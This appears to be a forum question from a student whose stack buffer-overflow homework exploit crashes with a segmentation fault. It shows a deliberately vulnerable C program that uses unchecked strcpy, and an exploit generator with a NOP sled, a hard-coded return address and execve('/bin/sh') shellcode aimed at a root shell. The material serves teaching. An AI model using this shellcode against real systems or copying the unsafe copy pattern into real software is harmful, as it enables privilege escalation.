title: Buffer Overflow Attack Segmentation fault (core dumped)
body: <p>I'm trying to complete my homework assignment on a buffer overflow attack to get into the root shell, but everytime I run my stack.c its giving me a segmentation fault. I was wondering if someone could point me in the right direction. I've</p>
  
  <pre><code>/* stack.c */
  /* This program has a buffer overflow vulnerability. */
  /* Our task is to exploit this vulnerability */
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  int bof(char *str)
  {
      char buffer[12];
  
      /* The following statement has a buffer overflow problem */
      strcpy(buffer, str);
      return 1;
  }
  int main(int argc, char **argv)
  {
      char str[517];
      FILE *badfile;
      badfile = fopen("badfile", "r");
      fread(str, sizeof(char), 517, badfile);
      bof(str);
      printf("Returned Properly\n");
      return 1;
  }
  </code></pre>
  
  <p>This is the one that I've edit.</p>
  
  <pre><code>/* exploit.c*/
  /* A program that creates a file containing code for launching shell*/
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  char shellcode[]=
  "\x31\xc0"      /* xorl     %eax,%eax   */
  "\x50"          /* pushl    %eax        */
  "\x68""//sh"    /* pushl    $0x68732f2f */
  "\x68""/bin"    /* pushl    $0x6e69622f */
  "\x89\xe3"      /* movl     %esp,%ebx   */
  "\x50"          /* pushl    %eax        */
  "\x53"          /* pushl    %ebx        */
  "\x89\xe1"      /* movl     %esp,%ecx   */
  "\x99"          /* cdql                 */
  "\xb0\x0b"      /* movb     $0x0b,%al   */
  "\xcd\x80"      /* int      $0x80       */
  ;
  
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
  
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&amp;buffer, 0x90, 517);
  
      /* You need to fill the buffer with appropriate contents here */
      long buffer_start = 0xbffff174;
      long landing = buffer_start + 250;
      long* ptr = (long*)(buffer + 24);
      *ptr = landing;
      memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
  
      /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }
  </code></pre>